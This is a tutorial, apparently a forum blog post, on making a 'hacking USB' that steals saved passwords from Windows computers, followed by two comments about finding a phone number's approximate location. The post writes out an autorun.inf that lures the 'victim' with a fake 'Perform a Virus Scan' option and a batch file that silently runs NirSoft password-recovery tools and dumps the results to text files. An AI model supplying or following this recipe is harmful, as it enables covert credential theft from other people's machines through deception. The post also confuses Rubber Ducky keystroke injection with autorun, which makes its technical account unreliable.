We’ve all seen hacking films in which hackers plug a USB to a system and it immediately hacks. It’s not a fantasy, after all. It’s actually quite simple, believe it or not. Most importantly, no complex costly software or fancy equipment is required.
You don’t even need anything other than a USB and a free software notepad. Furthermore, we are learning not one, but two different methods of hacking with a USB drive today. So, without further ado, let’s get started.
What is a USB Hacking ?
A USB hacking , also known as a USB Rubber Ducky, is a small USB device that emulates a keyboard and automatically inputs pre-programmed keystrokes into a target computer. It takes advantage of the inherent trust that computers have for keyboards, allowing it to execute commands without raising suspicion. This makes it a powerful tool for various cybersecurity applications.
Understanding the USB Rubber Ducky
The USB Rubber Ducky is a popular tool for creating hacking USBs. It consists of a USB device that looks like a regular flash drive but acts as a keyboard. It uses a simple scripting language to execute commands on the target computer. The scripts can be easily customized to perform tasks such as password extraction, network reconnaissance, or launching exploits.
How To Make A Hacking USB
To make your hacking USB, you must build a batch file that will execute all of the required software automatically. A batch file (also known as a batch script) is a type of script that allows you to automate tasks on Windows PCs. We’ll use the same type of script to run all of our hacking tools and export the password info to text files.
Download all of the packages from Nirsoft’s official website. Which include all of the major password-recovery programmes with command-line functionality. These are the password-extraction hacking tools that we will be using. If questioned:
Username: download
password: nirsoft123!
Using a program like 7-Zip or WinRAR. Extract the files into any folder.
Download and extract all of the tools that you downloaded in the first step. Simply copy the executable files (.exe files) to your USB Pendrive now.
- Create a text document and paste the following code into it.
[autorun] open=launch.bat ACTION= Perform a Virus Scan
Save the notepad file and rename it autorun.inf instead of New Text Document.txt. Make sure the autorun.inf file is in the USB Root location. There is no other folder.
Create a new notepad text file and add the following lines of code to the script:
start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt
Save the notepad text file and rename it ” launch.bat ” instead of New Text Document.txt. As with autorun. inf, assure that the file is in the USB drive’s root folder. Your USB Hacking rootkit is now prepared to hack your victims.
*Simply follow these steps:
*
1: When you put the pen-drive/USB into your Windows machine. The autorun script will run and a window will appear asking the victim (or you) to run a virus scan.
2: In the autorun pop-up window, pick the first option, “Perform a Virus Scan“.
3: All password hacking tools will now be executed secretly in the background. It will only take a few seconds. The hacked passwords are saved in.TXT files.
4: Remove the pen-drive and view all of the compromised passwords in the.TXT files.
Congratulations, you now know how to use a USB drive to hack any Windows system.
Conclusion
Creating a hacking USB can be an intriguing project for individuals interested in cybersecurity. By following the steps outlined in this guide. You can build a powerful tool that can automate tasks and aid in security testing. However, it is essential to remember the legal and ethical considerations associated with using hacking USBs.
Top comments (2)
Is there any way to locate phone number location even if not 100% accurate
Need only to know the area not the exact location
Yes, you can generally determine the approximate location of a phone number, such as the area or city, even if it's not 100% accurate. However, the accuracy of the location information will depend on various factors, including the methods you use and the availability of data.
Here are some common methods to determine the approximate location of a phone number:
Area Code: The area code of a phone number can provide a rough idea of the geographic region associated with the number. You can search online for a list of area codes and their corresponding regions.
Online Phone Directory: Many online phone directories can provide information about the general location of a phone number, including the city and state. Websites like WhitePages and AnyWho offer this service.
Reverse Phone Lookup Services: There are websites and apps that offer reverse phone lookup services. These services can provide information about the location associated with a phone number, including the city and sometimes even more specific information.
Mobile Network Information: Mobile network operators have information about the general location of their subscribers based on the cell tower the phone is connected to. However, this information is usually not accessible to the public and may require legal authorization.
GPS Tracking Apps: If you have the consent of the phone owner and they have a GPS-enabled device, you can use tracking apps like Find My iPhone (iOS) or Find My Device (Android) to locate the phone's current position.
IP Geolocation: If the phone is connected to the internet, you can use IP geolocation services to determine the approximate location of the device based on its IP address. This method is less accurate for mobile devices and may only provide the location of the internet service provider's server.
Keep in mind that the accuracy of these methods can vary, and they may not always provide the exact location you're looking for. Additionally, it's essential to respect privacy and legal considerations when attempting to locate a phone number. Always obtain proper consent and follow relevant laws and regulations in your jurisdiction.